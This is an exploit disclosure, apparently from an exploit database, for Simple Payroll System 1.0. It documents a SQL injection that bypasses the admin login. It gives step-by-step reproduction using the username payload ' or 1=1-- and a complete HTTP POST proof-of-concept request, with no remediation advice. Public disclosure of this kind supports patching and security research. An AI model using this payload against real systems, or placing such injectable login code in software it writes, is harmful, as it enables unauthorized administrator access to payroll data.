Simple Payroll System 1.0 – SQLi Authentication Bypass
# Exploit Title: Simple Payroll System 1.0 - SQLi Authentication Bypass # Date: 2021-10-09 # Exploit Author: Yash Mahajan # Vendor Homepage: https://www.sourcecodester.com/php/14974/simple-payroll-system-dynamic-tax-bracket-php-using-sqlite-free-source-code.html # Software Link: https://www.sourcecodester.com/sites/default/files/download/oretnom23/simple_payroll_0.zip # Version: 1.0 # Tested on: Windows 10 # Description: Simple Payroll System v1.0 Login page can be bypassed with a SQLi into the username parameter. Steps To Reproduce: 1 - Navigate to http://localhost/simple_payroll/admin/login.php 2 - Enter the payload into the username field as "' or 1=1-- " without double-quotes and type anything into the password field. 3 - Click on "Login" button and you are logged in as administrator. Proof Of Concept: POST /simple_payroll/Actions.php?a=login HTTP/1.1 Host: localhost User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:93.0) Gecko/20100101 Firefox/93.0 Accept: application/json, text/javascript, */*; q=0.01 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded; charset=UTF-8 X-Requested-With: XMLHttpRequest Content-Length: 37 Origin: http://localhost Connection: close Referer: http://localhost/simple_payroll/admin/login.php Cookie: PHPSESSID=ijad04l4pfb2oec6u2vmi4ll9p Sec-Fetch-Dest: empty Sec-Fetch-Mode: cors Sec-Fetch-Site: same-origin username='+or+1%3D1--+&password=admin |